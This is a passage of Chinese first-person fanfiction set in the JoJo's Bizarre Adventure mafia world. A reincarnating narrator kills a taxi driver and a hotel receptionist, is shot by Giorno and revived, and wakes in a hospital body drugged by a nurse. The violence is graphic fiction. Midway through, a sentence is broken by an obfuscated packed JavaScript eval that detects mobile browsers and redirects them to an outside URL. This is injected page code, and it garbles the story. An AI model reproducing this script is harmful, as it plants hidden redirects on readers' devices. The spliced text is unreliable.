我拽了一把车门,果不其然被上了锁。这黑车司机一定是把我当成了慌不择路的游客,见我是个手无寸铁的女人,正好敲诈我一笔。我可不买他的账,反手一拳砸在他脸上,打了他一个措手不及。他不可置信地看向我,又急又气,抬手想给我一巴掌,被我眼疾手快地抓住了手腕,向反方向扭了一把,搞得他痛呼出声,连连求饶。 我凑到他面前,另一只手掐住他的下巴,逼他抬头,说你仔细看看我的脸,你看看我是谁?——我凑得太近,他向后躲,害怕得连连摇头,瞪大了眼睛。 “——半个月前米兰圣维托雷监狱的新闻,你看了吗?那位火烧了监狱成功越狱不知所踪的囚犯,是不是有点眼熟?” 我抚摸他汗湿的额头,看他的瞳孔一点点紧缩,嘴唇哆哆嗦嗦一张一合,半天说不出话来。我闻到空气中一股腥臊的臭味,这家伙居然就这么被吓得尿裤子了,真没骨气。 我庆幸自己现在还有这么个在逃重刑犯的身份,方便我能在必要的时候有点威慑力。我松开他,看他一下子瘫软在座椅上,汗流浃背地把那沓钱往我手里塞,说什么也不肯收了。我又把钱重新塞给他,半威胁半命令地让他按照我的指令开车,否则就像在监狱里对那位医生一样就地解决他。 那司机连连点头,连忙启动了车子,生怕我下一秒生气,直接要了他的小命。我满意地重新坐回副驾驶,重复一遍最开始的话——罗马城区,最快的路线,不许绕路,不许停车。 车子渐渐离开了市区,驶上一条宽敞的大路,没有路灯,周围很黑,两边除了零星的房屋就是树木和草丛。路上开始下雨,越下越大,我看着雨水唰啦啦地流过车窗,想起梅洛尼给我的电话,按亮屏幕,电子屏上清晰地显示现在已经凌晨三点。 坐了这么久的车,我又想起司机来——我跟他有一搭没一搭地闲聊,问他累不累?他始终紧张地攥着方向盘,我想穿着尿湿的裤子开车肯定不好受,忍不住笑出了声。 闲聊中我得知这司机平时的工作就是在市区转悠,专宰第一次来那不勒斯的游客。今天开了一天车,想着先在路边休息一会,没想到直接睡到了晚上,还遇上了我这么一位大爷——他声音发抖地絮絮叨叨,把我逗得咯咯直笑。 倾盆的大雨在车灯的照射下织成一层细密的网,我隐约看见一盏亮起的灯牌——那是一家汽车旅馆。司机小心翼翼地开口,说他开了这么久的车,想去解个手,顺便活动活动已经僵硬的肌肉。 我想拒绝他,我实在不想在路上耽误时间,但奈何他再三恳求,我也感觉浑身酸痛,实在有些累了,想呼吸呼吸新鲜空气,便答应了他。司机调转方向盘,我们向汽车旅馆开去。 我们在车库里停下,司机哆哆嗦嗦地下车,有些站不稳,踉踉跄跄地向旅馆门口跑去,看起来很滑稽。我看着他远处的背影,伸了个懒腰正想下车,口袋里的电话却突然响了起来。 车门已经拉开一半,雨淅淅沥沥地打在我身上,我按下接通键,同时走下车,把自己全部暴露在雨里。 “你在哪?” 是里苏特的声音。这让我感觉很亲切,同时又立刻意识到肯定是组里谁把我要单独行动这事告诉队长了。周围很黑,只有车灯照亮了旅馆门口的一小块台阶。我一边往门口走一边思考对策,我不想让组里的任何一个人受到牵连。 我告诉里苏特我还在那不勒斯,我想等到天亮再走,现在随便找了个酒店住下了——话还没说完,我突然看见那司机正背对着前台,手里摆弄着电话,他鬼鬼祟祟地看向四周,偏偏正好下一秒和我四目相对——这家伙想报警!我就知道他停车没安好心。我搪塞了两句电话里的里苏特,直接挂断了电话。 那司机跟我对上眼神的一瞬间就慌不择路地要跑,我冲进旅馆,还什么都没说,前台的服务生小姐抢先发出一声尖叫,一边大喊着自己什么都没听见一边躲进了柜台里。我无视她直接跟着司机的脚步跑上二楼,木楼梯在脚底下吱呀作响,我听见自己的心也跳个没完。 我深知放过刚才的服务生她一定会报警,但此时此刻我顾不上太多,这里离最近的市区也还要走上一段路,我没有交通工具,也没有武器,一切都处于下风。我必须争分夺秒,先解决掉司机,拿到出租车的钥匙。 二楼的照明比一楼更差,只有墙上的几盏壁灯。我不确定是不是有其他旅客知道楼上此时有个逃犯,本不想引起更多人的注意,可就在这时,那该死的电话铃声偏偏又响了起来。我暗骂该死,不得不慢下脚步来,在口袋里摸索了半天才将它挂掉。 好在旅馆并不大,走廊也并没有多长,我们最终在同一个转角相遇了。手边没有趁手的凶器,情急之下,我一拳砸向旁边窗户的玻璃,顾不上皮开肉绽的疼痛,我捡起相对锋利的一块,反手就刺进了他腰间。他惨叫了一声,向前跪倒在地上。 我气喘吁吁地抬起手,看见自己两只手都鲜血淋漓,在昏黄的灯光下,分不清哪一只手更红。那死到临头的软骨头现在仍然想着求饶——我感到腿上一沉,我低下头,发现他不知道什么时候挪到我脚边来,一把抱住了我的大腿。 他哭哭啼啼,说自己是太害怕了才这么做的,那通电话根本都没来得及打出去,求我放他这一马——那好吧,看在你态度诚恳的份上,我就原谅你这一次。 我很满意地在他脸上看到一副感激涕零的神态,蹲下与他视线相平,四目相对,然后在他毫无防备的时候偷偷捡起地上的另一块碎玻璃——我忍不住在心里翻了个白眼,谁信他的鬼话,不过是想拖延时间等警察赶到现场,等给我戴上铐子带走的时候变脸比谁都快。 我利落地在他脖子侧面割了两道,鲜红的动脉血喷了我一脸,他几乎是当场毙命,倒是便宜了这种人。天已经亮了,我抹了一把脸上的血,从他衣兜里掏出车钥匙,又搜了一圈,把他的钱包也顺手牵羊了,权当给自己加点路费。 木地板上渗进的血迹无声地宣告着这间小旅馆内发生的恶行。我又巡视了一圈,确保没有更多目击者才走下楼,可怜的服务生小姐早被吓得瘫软在地上,不由得让我想起自己刚进组时的狼狈样子。我短暂地同情了她一下,依旧没留情面,手起刀落解决了她。 我向门口走去,准备拿钥匙开车离开,却在门口看到了一个格外熟悉的身影。我有些不敢相信自己的眼睛,甚至怀疑自己出现了幻觉,我揉揉眼睛,再一次看向门口——里苏特站在雨中,长风衣湿漉漉的滴着水。空气中弥漫着一股浓重的铁锈味,我下意识地后退半步,不可置信地瞪大了眼睛,“你跟踪我?” “是梅洛尼告诉我你在这附近,他给你的电话带有定位器。”他的语气十分平静,我却气坏了——我说那小子怎么突然这么好心突然塞给我东西,合着你们早商量好的是吧! 似乎猜到了我在想什么一般,里苏特继续说,“事态比我们想象的要严重。昨晚我接到组里的电话说你走了。好在梅洛尼把他给娃娃脸用的备用电话给了你,才能第一时间定位到你的位置。”
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我张张嘴,有点困难地开口,问他,明知道我已经死过不止一次了,就算真的被杀掉了也没什么的,为什么还要来找我? “从利益的角度,我必须确定你的死亡时间,才能保证你下次能找到我。我们需要合作,暗杀组需要你。” “如果现在直接绑架特里休,引出老板再解决他,获得的利益会远比按照预定目标合作更大,你知道的吧?” 我其实不知道自己在确认什么。明明问题的答案我们都心知肚明,但我就是固执地想听一个回答。我不明白,我的到来,我所引起的一切都显得荒谬而突兀,为什么里苏特愿意顺应我陪我走这条路? “因为你不怕死,我也不怕。我们都不怕。” 春季末的大雨淅淅沥沥地打着房檐,我却觉得周围的一切都无比寂静。我看着里苏特被雨水浸湿的黑色大衣,感觉自己又回到了加入热情的第一年。我觉得自己无比自私,在这个世界里我是唯一知道命运发展的人,而从其他人的视角看他们一无所知。以己度人的人是我,惹麻烦的人也是我,我就像在家乡一样格格不入,因为一个并非自己犯下的错成了罪人。 我胡乱抹了把脸,尽量将注意力转移到当下。我问里苏特,索尔贝和杰拉德的行踪找到了吗? 里苏特摇摇头,表示他一直在关注他们的动向,还联系了据点内的梅洛尼协助追踪,可两人仍旧处于失联状态。 我攥紧了手中的车钥匙。事到如今,我们不得不接受一个更可怕的可能性——那就是索尔贝和杰拉德并非忙着赶路,而是已经被绑架。无论如何,既然已经做到了如此地步,即使断了线索也只能继续前进。我绕过里苏特,向一旁的车库走去。在天色完全大亮之前,我们必须赶到威尼斯。 出乎意料的,我向他说明了我的想法,里苏特却并没有跟上我的脚步,而是停在原地。我回过头,急切地去拉他的手,拉扯中伤口传来撕裂的疼痛。我从他深色巩膜的眼睛里读出一种复杂的感情。 里苏特安静地注视着我,好像要在我的脸上灼烧出一个洞来。我从疑惑,再到震惊,最后到难以置信——我一瞬间读懂了他沉默的含义,也明白了他千里迢迢赶来的原因。老板已经知道了我的存在并开始怀疑我,那么我继续和暗杀组保持联系只会变成他们的负担,坐实他们是背叛者的猜测。 里苏特想让我与暗杀组断绝联系。 对我来说,此时与他们相处的机会是我用第二次生命换来的,暗杀组是我必须豁出性命拯救的对象,可对他们来说不一样。对里苏特来说,我只是帮助他们接近老板的工具,是一个提供新的“可能性”的机会。当引火烧身时,我便会被毫不犹豫地丢弃。 被玻璃划伤的手背这才传来钻心的痛感,我自认为早习惯了疼痛,可现在却疼得要掉下眼泪来。我感觉自己在发抖,不敢相信自己的猜测,可眼神的交错让我明白我的猜测是正确的。 我明白事到如今这是唯一的选择,可我不甘心——明明已经重来了一次,经历了千辛万苦才走到这一步,可回过头来才发现走向的是死局。 ——不,我并非想切断与你的联系。里苏特缓缓开口道。凭你对未来情报的掌握,我们必须将你留在身边,不能放任你回归组织或独自行动。 我叹了口气。我明白里苏特还不是完全信任我,有这样的顾虑也是理所当然。我问他,你的想法是什么? “老板对你的了解仅限于现在的身份——只要让琳赛格伦在老板的视线内死去,就能摆脱身份的限制继续追踪,也不会和组里的其他人产生牵连。” 里苏特比我想象中更加大胆。我也终于明白他此行前来的真正目的就是亲眼见证我的死亡。我不知道该怎么描述自己的心情,我曾想过无数种自己第四次生命的结局,却没想到自己会了结于里苏特之手。 那你呢,我问他,我该怎么找你汇合?里苏特表示他会继续调查索尔贝和杰拉德的下落,必要的话还会派出更多人。而我要做的就是重生后第一时间与组里取得联系。为了确保我的安全,好继续为组里提供情报,他不会让我冒险。 我可悲地发现我依旧读不懂里苏特。我太过急迫地想要改变命运,因为经历了一次失败的结局而患得患失,比起情感用事的我,其他人显得从容很多。无知者无畏,也许我该做的是在这个新世界心甘情愿地做一个配角,将主动权重新还给暗杀组的其他人。 天边泛起青白,雨渐渐小了,我知道我们已经没有多少时间。里苏特没有询问我的意见,但我愿意完全信任他一次,我明白里苏特自然有他的打算,他总能将一切安排妥当。 事不宜迟,我握住里苏特的手,轻轻搭上自己的脖颈,闭上了眼睛,静静等待死亡的降临。再见,琳赛格伦,我想,再见。 死亡对我来说已经不是陌生的体验,我不知该怎么描述自己现在的心情,命运仿佛戏耍了我一次又一次,既然没办法掌控命运轨迹,献身或许也是不错的选择。 金属制品在我体内发动,无数刀片刺破我的皮肤,从我的脖颈钻出来,鲜血喷涌而出,和先前那位司机的死法如出一辙。 我眼前一黑,直挺挺向后倒下,视线逐渐模糊,失去意识的最后一秒,我听见由远及近的警笛声。 —to be continued— 13. 多情 我缓缓睁开眼,脖颈处的剧痛还未消散,熟悉的环境再一次出现在我的视野里。乔鲁诺坐在沙发上,注意到我的视线,若无其事地看了我一眼,笑眯眯地抬起身子,“你回来啦?” 我像个对生活万念俱灰而急于寻死的精神病人,径直绕开他四处寻找那把手抢,甚至顾不得身体的疼痛。我想要赶快赶回去,赶快,我要和小队汇合,我要联系上里苏特,我要去威尼斯,再不赶快的话—— “这里的时间流动是静止的哦,休息久一点也没关系。” 乔鲁诺的声音从我身后传来,微笑着伸出一只手拦住我。那种恰到好处的笑容此刻显得比平时更加恼人。但我本就有一肚子的话想问,神经长期高度紧绷,得到这样的肯定后终于长舒了一口气。 里苏特究竟是怎么想的?老板身上到底还有多少秘密?在我所看不见的另一个角落,命运又是怎样发展的?——我盼望着见到乔鲁诺,盼望能亲口将这些日子的困惑问出口,甚至想亲手揍他一顿,可真正再一次面对乔鲁诺,这些问题却又全都堵在我的喉咙口,让我说不出半句话来。 “别着急,我也有很多话想对你说。不如我们坐下慢慢谈——你见到福葛了,是吧?” 我浑身一震。乔鲁诺似乎看穿了我心中所想,我僵硬地挪到他旁边去,尽量以一个自然的姿势坐下。我尴尬地笑笑,说是啊,我没想到那小子以前还是,呃——他人挺好的。 “大概半个月后,福葛就会成为布加拉提手下的第一名成员,正式加入热情。你知道这意味着什么,对吧?” 我当然知道,甚至有可能比这时间更短——我突然意识到自己的每个举动好像都在把事情往更坏的地方推。我低下头不说话了。 “如果进展顺利,我希望今后你能劝说福葛留在小队里——在面对老板时,有紫烟的帮助想必会顺利一些——你怎么了?” 乔鲁诺那张青涩漂亮又让我忍不住想揍上一拳的脸凑上来,我的头发挡住了一部分,他的绿眼睛从头发的缝隙里透过来,有点吓人。 别担心,你做得很好,伊莎贝拉,你真的很了不起。我一时不知道他是真的这么觉得还是在嘲讽我,但乔鲁诺的语气很真诚。你做得真的很出色,我都没想到你会做到这种地步,甚至为了我的任务而自杀,噢——还是说,他停顿了一下,——你为的是其他人? 他瞬间变脸,温和的神色一瞬间严肃起来,我僵硬地坐着,不知道该摆出什么表情。的确,我不惜一切代价甚至是死亡也想改变这一切,但这和护卫队无关,也正和乔鲁诺的想法背道而驰——我甚至觉得他的真实想法是想让我混进去提前把组里其他人全部斩尽杀绝才好。 乔鲁诺站起来,走向一旁的桌子,我看着他笔挺的背影有些出神。我不得不承认这个年龄和我将近整整十岁的小子做什么事都很有一套,就像他命中注定就该坐在这个位置。 命中注定。我讨厌这个词。 乔鲁诺拿起那把我熟悉的枪,却没有递给我。他将枪口对准我的额头,语气坚定而冷淡:“我希望你明白你在为谁做事,又是谁给了你现在的这一切。” 我早已失去面对死亡威胁的恐惧,只是平静地点点头。可乔鲁诺的话还是引起了我的思考——我的最终目标到底是什么?难道真的要像他所安排的那样,亲手将他送上老板的位置,再不惜一切代价保住他们的小队? 我不敢将全部希望都寄托在乔鲁诺承诺在他真的达到目标后给我们的报酬上。我始终清楚乔鲁诺在利用我,也深刻体会到对抗命运的艰难,可就在经历了这一切荒谬的事件之后我心底却还怀揣着一丝可笑的侥幸,希望能找到一个所谓的完美结局。 “我可以给你一次机会,让你做你想做的事,完成你的心愿——但我也有我的条件。” 乔鲁诺将冰凉的枪口从我头上移开,“我希望在做完你想做的事后你能专心为我做事,不再参与没用的纷争。”他刻意加重了某些词的读音。我突然觉得那个温和的乔鲁诺离我很遥远,我不常能见到他,但我能感受到他逐渐卸下了伪装,向我亮出了尖锐的獠牙。 “——暗杀组对你来说究竟是什么?” 不知道谁给我的勇气,我突然抬头质问他。乔鲁诺没有表现得太意外,他只是笑了一下,反问我:“你是心里带着答案问我这个问题的,是吧?” 我有点生气,但不可否认他说的属实。我清楚等到一切尘埃落定后,新任教父要做的第一件事就是清理残党,别说什么合作和报酬,就连留我们一条小命都很难。我们与护卫队之间注定水火不容,这一点所有人都心知肚明。我挫败地低下头,头顶又传来乔鲁诺的笑声,像嘲弄我的执着。 你自己来,还是我来?乔鲁诺把枪举到我面前,但我不想接。他一贯很有耐心,就像现在,始终保持着温和体面的仪态,等待着我的选择。可我知道,乔鲁诺的每个提问都不是在询问你的意见,而更像一种通知,或者警告。他的心里早有答案,就像他口中的我一样。 我脑子很乱,被死亡和命运这些东西搅成一滩浑水。见我迟迟不开口,乔鲁诺也逐渐失去耐心,一只手掐住我的脸,两根手指撬开我的牙关,在我毫无防备的瞬间将枪管捅进了我嘴里。 我瞪大了眼睛——使用枪支自杀时,饮弹自尽是最快最高效的方式,乔鲁诺这次没给我留任何情面。他动作很粗鲁,我确信我嘴里肯定有什么地方被刮破了,因为我尝到了一点血腥味。 “记住你的任务,珍惜你的机会。” 我还想说些什么,但他瞬间扣动了扳机,没给我任何辩驳的机会。子弹从口腔穿过我的后脑,我瞬间倒了下来,鲜血在皮沙发的靠背上炸开一片猩红的烟花。 — 头很痛,眼皮也很沉。又是不知道过了多久,我终于找回了自己的意识。我似乎躺在一张床上,手臂很疼,双脚冰凉。我艰难地睁开眼,第一眼看到的是一圈眼睛一样盯着我的手术灯。 我坐起来,低头一看,瞬间吓了一大跳——我的两条胳膊上都插满了输液针,手腕和脚腕都被夹住,胸口贴着心电图的电贴片。除此之外,我的右手腕上还格格不入地带着一块破手表,指针精确地指向凌晨五点整。 我下意识抬手,这一下不得了,左手手背上的针头因为我的移动导致了血液回流,暗红的静脉血已经开始顺着输液管安静地向上爬,慢慢染红了透明的药液。 这里是手术室,可我环顾四周却没有看到一名医生。屋子里没有镜子,我看不见自己的脸,也不知道自己是谁,此时还被这一堆仪器困着动弹不得。我气坏了,这一定就是乔鲁诺这小子搞的鬼,他想让我在这个病号的身体里好好痛苦一阵子——我可不会让他得逞。 我摘下手腕上的夹子,一把拽住左臂连着的几根输液管,用力一拉,伴随着疼痛鲜血瞬间从针眼涌了出来。我甩了一把手上的药液,又把右手的针也拔了。我摘掉那一堆贴片,松开脚腕上的束缚,光着脚走下地。 这具身体的原主人只穿了一件病号服的上衣,没有穿裤子,就连内衣也没穿。走廊里空无一人,但我还是感到有些尴尬。我不禁开始好奇为何直到现在那看幻灯片一样的记忆还没出现,烦躁之余我也隐隐有些担心。我环顾四周,感到视角很新奇——这身体的主人应该很瘦小。 我带着两胳膊带血的针孔在走廊里转了一圈,也没看到一个人。正当我转头往回走时,却迎面跟一个人撞了个满怀。她尖叫一声,手里的东西掉在地上摔成一摊,彩色奶油飞溅得到处都是,那似乎是个老式的裱花蛋糕。 那是个黑色长头发的女人,看上去很年轻,刘海长到几乎挡住眼睛。见她穿着护士制服,我刚要开口询问些自己的事情,她却先打开了话匣子——她的瞳孔在看清对面是我之后一下子放大,欣喜地笑了,“原来你在这儿啊,我找了你好久!生日快乐,小莉莉,真对不起我弄坏了你的蛋糕……我明天再给你做一个,好不好?” 生日? 我还没弄清现在的状况,她又注意到我胳膊上的针孔,眉头一下子皱了起来,“——不是叫你好好在床上待着吗,你怎么又偷偷跑出来?你这小坏蛋!快走吧,我们还得吃今天的药呢。” 我稀里糊涂地被拽了起来,她语气十分温柔,力气却很大,一边自说自话一边拉着我往前走,我跌跌撞撞,突然脑内一阵眩晕,然后是熟悉的耳鸣——无数的回忆像彩色幻灯片一样浮现在我眼前,我刚从病床上下来,本就身体虚弱,双腿一软,直接跪了下去。 莉齐·罗曼,真实年龄23岁。患有缺少生长激素的疾病,外表看上去与十多岁的小女孩无异,因此一直以小女孩的身份与人相处。在孤儿院长大,杀害了几任继父母后被送往精神病院,放火逃离。后被热情组织看中发掘。 天生替身使者,替身名「Paradise City」,空间系替身,能力是开启一个通往另一个空间的通道。天堂城是完全属于自己的另一个世界,其中的一切都完全受自己支配,只有自己可以创造出进入空间的但通道,创建后所有人都能进出。 莉齐擅长伪装自己,在外人眼里,她只是需要保护的天真小女孩。从精神病院逃离后,由热情的编外医生米拉吉娅接管照顾,等身体恢复健康后正式加入组织。 米拉吉娅的照顾持续了一年多之久。传闻米拉吉娅自身也是精神病患者,做什么都迷迷糊糊,什么也做不好,而莉齐是她的第一个病人。连宠物都照顾不好的米拉吉娅看着乖巧懂事的小莉齐,逐渐起了占有欲,为了将她永远留在自己身边,她每天给她胡乱喂药,在没有病灶的情况下做手术开刀,试图无限延长她在医院的时间。 莉齐早看穿了她的把戏,但令她惊恐的是对方已经用药物控制住了自己,只要离开医院就会浑身不适,产生严重的戒断反应,生不如死。只有回到医院,回到米拉吉娅的身边,这种感觉才能消失。慢慢地,她放弃了离开这里,每天扮演着小女孩,陪着对方玩医生和病人的游戏。 纸是包不住火的,最终,组织也发现了米拉吉娅小诊所的秘密,强行带走了莉齐。本以为终于逃出生天,却没想到迎来的是更残酷的地狱——组织的医生乔可拉特看穿了她的身份,将她抓起来做人体实验,最终,她死于脑部手术的大出血。 回忆散去,我耳边却还久久回荡着女孩被用链锯活生生切开头颅的惨叫声。重新拥有替身让我短暂地惊喜了几秒钟,但我还是毛骨悚然,出了一身的冷汗。 直到慢慢重新回过神来,我才发现自己仍然维持着半跪在地上的姿势,而那位黑头发的护士——米拉吉娅小姐——竟然就这么拖行了我几十米。视线交错的瞬间,她甚至还无辜地眨了眨眼睛。 莉齐的确是个天生的坏种,从她所做出的那些事就能看出来,但接下来的一切经历简直堪称魔幻。我想这也许属于“恶人自有恶人磨”,但这不是我该考虑的——按照时间来看,现在最大的问题是过两天热情的人就要来抢我了,如果顺从命运我就会落入乔可拉特之手,可如果不走,一辈子留在这里也不是办法。 我暗暗咬了咬牙。我明白乔鲁诺给我这个新身份的意思——我可以使用替身,并且这里是威尼斯,还是乔可拉特所在的医院,我可以继续按计划救下索尔贝和杰拉德。但理所当然地,享受了这份“优待”的我今后也不该继续染指暗杀组,我的真正目的是辅佐他上位。 为了巩固自己的地位,宁愿看着另一个自己取代自己的位置,我实在不理解乔鲁诺。 无论如何,眼下最重要的是适应自己的身份,不让更多人起疑。我拉了拉米拉吉娅的衣角,试着以小女孩的口吻说话,“……对不起,莉莉知道错了…” “哎呀——你说我怎么能对着你生气呢!真是……”米拉吉娅瞬间变了脸,她迅速凑上来,笑着擦掉我眼角那颗半掉不掉的泪珠,“我们小莉莉是知错就改的好孩子,是不是?” 我拼命点头,感觉很久没活得这么窝囊过。我被重新困在手术床上,双手被铐在床板上固定住,脚腕上重新夹上冰凉的铁夹,她掀起我的衣服,往我胸口贴上心电图的贴片。我□□,裸体就这么暴露在空气中,但她似乎毫不在意,继续拆开新的针头,往我手背上扎上新的留置针,连接上输液管。我抬起头,输液的流速似乎调得太快了,我感觉手背很疼,两条胳膊都发冷。 做完这些,米拉吉娅温柔且强硬地掰开我的嘴,将一个小胶囊塞进我嘴里,“该吃药了,小莉莉,小乖乖,来,张开嘴,啊——” 我想吐掉,但为了适应这个新身份,并且不引起怀疑,还是顺从地吞下了胶囊。我紧张地躺着,浑身僵硬,等待她下一步的发落。女医生只是咧开嘴笑得更开心了,她抚摸我的头发,手指甲没轻没重地刮着我的头皮,带来一阵刺痛。 我尽可能忽略身体上的不适,继续思考着下一步的计划。这里的一切都让我感到危险,我必须离开这里。还有暗杀组——我不知道里苏特会不会继续来到威尼斯,不知道组里的其他人现在在做什么。现在我的首要任务就是想办法联系上他们。 轻微的头疼打断了我的思考。我突然感觉手背的疼痛和冰冷缓解了大半,整个身体都放松了下来,感到一阵奇异的轻盈。我的心跳很快,每一下都重得几乎要从身体里跳出来。我的手开始发抖,眼压升高,心情却久违的平静和舒畅。 我猛地想起那颗胶囊。米拉吉娅喂我吃了什么药?我喘着粗气,感受着越来越快的心跳,环顾四周,丝毫没有开始的恐惧,反而觉得很亲切。我震惊地看向她,对上一张笑眯眯的脸。 联系到刚刚的回忆,我产生了一种不祥的预感——难道药物是米拉吉娅控制莉齐的方式?是具有高成瘾性的药物,还是程度更强烈的毒品?我感到视线随着心跳的节奏一收一缩,头顶的手术灯渐渐融化成一圈模糊的光环。 不能再这样下去,我需要逃离这里——趁着米拉吉娅背过身子的间隙,我用力活动手腕,但这东西钉得结结实实,无论我怎么挣扎都不松动分毫。我咬咬牙,用力想折断大拇指来抽出双手,但身体太过虚弱,根本使不上太多力气。 我折腾了半天,除了弄得浑身是汗外毫无成效。眼看着头顶的药瓶见底,米拉吉娅拿着一瓶新的药水走过来,见我像条案板上的鱼一样挣扎,疑惑地歪歪头:“莉莉,你在干什么呢?” “呃,我……”我生怕她起疑,大脑飞速运转,但磕磕巴巴了半天也只憋出了一句“我想去厕所”。啊,那就在床上尿吧,我帮你清理。米拉吉娅头也不抬,语气自然得像讨论今天的晚饭。她拔掉空的药瓶,随手扔在地上,又拧开新的换上,动作很笨拙,手忙脚乱,慢到我怀疑我要因为针管进空气而已。她把换好的吊瓶重新挂好,动作很大,我眼睁睁地看着输液管在空气中剧烈地晃动起来,不出意外地,我手背上又出现了一个巨大的鼓包。 “怎么还不尿,是害羞吗?”米拉吉娅笑着凑过来,点点我的鼻尖,又非常用力地揉了一把我的头发。她捏着下巴思考了一会儿,“也对,我们小莉莉已经是11岁的大姑娘了,也该学会自己上厕所了,是不是?我带你去厕所吧?” 我松了一口气,同时深深折服于这位专业性存疑的医生的神经质。她三两下解开铐住我的手铐,拔掉那些碍事的吸盘和夹子,还贴心地帮我扣好扣子。她一只手举着吊瓶,另一只手搀扶着我下床,我不禁惊讶于她对我的信任。 米拉吉娅走在前面,丝毫没有回头看我一眼的意思。她走得很快,输液管被她扯成一条倾斜的风筝线,我跌跌撞撞地跟上,被她扯得不住痛叫。 走廊里很压抑,没有窗户,也没有其他人,只有茫茫一片的白色墙壁。我看着她挂着假翅膀的背影,心中浮现出一个计划。我紧盯着她的脚步,预估着她的下一个落脚点,在一个转弯后轻轻拔掉了手背上的针。趁她还没发觉,我低低地念道:“「Paradise City」。” 下一秒,光滑的地面上凭空出现了一个突兀的圆形空洞。米拉吉娅疑惑地停下脚步,我眼疾手快地冲上前,从后锁住她的脖子,膝盖抵住她的腿弯向前顶,她大叫一声,挣扎无果,一口咬住我的胳膊。我死死勒住她,没有松手,将整个身子往前压去。她渐渐失去了平衡,我们两个一起向前摔去,双双掉进那个空洞中。 这其实很冒险,我对天堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744057|157517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城的具体能力并没有什么概念,但除此之外我别无他法。失重的感觉大概持续了几秒,我们一起尖叫着跌落在一片草地上。我揉揉发疼的膝盖,从地上爬起来,被眼前的场景惊得说不出话——这里和阴暗的诊所内部不同,天空湛蓝,柔软的草地一望无际,各个季节的花朵同时盛开,围成一个规整的圆,将我们两个围在中间。往远处看,一排排巨树高耸入云,树冠几乎遮盖了半片天,树干的宽度像一道密不透风的城墙。 米拉吉娅也没反应过来现在的状况,她愣了好一会儿,才回过神来,出乎我意料的是,她竟然没有生气,只是一把拉住我的手,心疼地抚摸我手背上青紫的针孔。这里是哪儿?她问我,而此时的我显然也没办法回答这个问题。 我按照回忆的内容,试着操控这片独属于我的天地。我抬起手,指向远处的空地——下一秒,巨大的藤蔓拔地而起,螺旋着迅速生长,直到尾端一直插入云层中。 米拉吉娅尖叫一声,正当我以为她被这样的阵势吓住了时,她却兴奋地凑到我跟前来,深绿色的眼睛兴奋地闪着光:“莉莉,你什么时候有这样的力量的?你和组织的人接触过吗?——不,不行,虽然这样的莉莉一定会被他们欣赏,但我绝对不允许,莉莉,以后只准在我面前用替身,好吗?” 替身?米拉吉娅怎么会知道替身的事?我试探地问道:你看得见替身?谁知她又把头一歪开始装傻,“看见什么?莉莉,你在说什么呀?你看不见那些花吗?” 算了,没必要跟她较真,现在的首要任务是和外界取得联系,好逃出这里——我一挥手,她脚边便升起一圈荆棘花丛,窸窸窣窣地迅速生长,花苞几乎是一瞬间绽放,开出鲜红的玫瑰。那些荆棘攀附上她的小腿,很快缠住了她的四肢,将她困在了原地。 米拉吉娅慌了,她开始挣扎,但稍微一动那些刺就扎进她的皮肤,很快就弄得她浑身是血。“放开我,莉莉,放开我!”米拉吉娅气急败坏地叫喊着,见我没有丝毫回头的意思更是火冒三丈,“你个小崽子,你要去哪儿?!给我回来!快放开我!你绝对会后悔的——” 确保她被缠得足够结实后我转头就走,无视她在我身后的喊叫,向着先前的那株通天的巨型藤蔓走去。那是我事先为自己留下的回到洞口的“电梯”,只要抓住它,再让它继续生长,就能让我不费力地回到诊所。而米拉吉娅,鉴于她的所作所为,就让她一辈子困在这儿吧。 我这么想着,正要踩上粗壮的藤条,却突然感到一阵强烈的头晕目眩。眼前的藤蔓一瞬间变成了鬼怪的触手,我吓了一跳,四周的景象都变得可怖又陌生,这在我平时看来稀松平常的幻觉现在却吓得我不敢挪动半步,出了一身的冷汗。 我渐渐喘不过气,眼前一黑,直接跪倒在地上,随后胃里一阵翻江倒海,我一阵干呕,跪在地上呕吐起来。我什么都没吃,只吐出一些带血的胃液,身体突然的不适和莫名的恐惧让我浑身发抖。 我大口大口地喘着气,抹了把嘴角,试着站起来,却又一个重心不稳险些摔倒。究竟发生了什么?我努力思考,却根本集中不了精神,头像裂开一样剧痛,我痛苦地抱住头蹲在地上,再一次听见身后传来米拉吉娅迷迷糊糊的喊声。 四周的景色越来越扭曲恐怖,身体的不适也越来越强烈,这是我第一次使用天堂城,本就不太熟练,仅存的精神力更是没办法让它保持现状。世界开始一点点崩塌,地面由内向外塌陷,天空变成一块块的碎石向下砸去,引力不复存在,一切开始被重新拉向洞口,我眼睁睁看着自己双脚离开地面,失去重心,只能被迫解除了替身。 等我再次回过神来,双脚已经重新踏上了走廊的地板。我出了一身的冷汗,浑身湿得像从水里捞出来,我感到米拉吉娅从后面抚摸我的后背,关切地问我怎么样,有没有不舒服?就好像刚才大叫着骂我让我把她松开的不是她本人。 身体上的不适已经完全消失了,我看了看四周,依旧是平常的场景,也没有先前的幻觉。一切都像一场梦,我被米拉吉娅拉着往病房走,只能将刚才的一切归功于对替身使用不熟练导致的替身暴走。 我又被放到了病床上,连接上那些设施。也许是考虑到我一味想逃走,米拉吉娅没再把我铐在床上,但她搬了个小凳子,给我重新输上液后就坐在床边寸步不离地看着我。房间里没有窗户,也没有时钟,让我几乎失去了时间的概念。我从白天躺到晚上,她就从白天坐到晚上,有时摆弄摆弄项链上的电子宠物机,有时替我换上新的吊水,但更多的时候还是直勾勾地盯着我。 虽然还不能确定,但米拉吉娅在天堂城内的反常表现让我坚信她能看到替身——她一定和我一样是替身使者。但具体能力是什么,现在还不得而知。我正想着,米拉吉娅突然将一只手搭在我冰凉的手背上,打断了我的思考,“睡觉吧,小莉莉,你不困吗?” 像是要印证她的话一样,我立刻感到一阵困意涌入脑海,眼皮越来越沉,她贴心地为我盖上被子,掖好被角,我很快沉沉地睡着了。 — 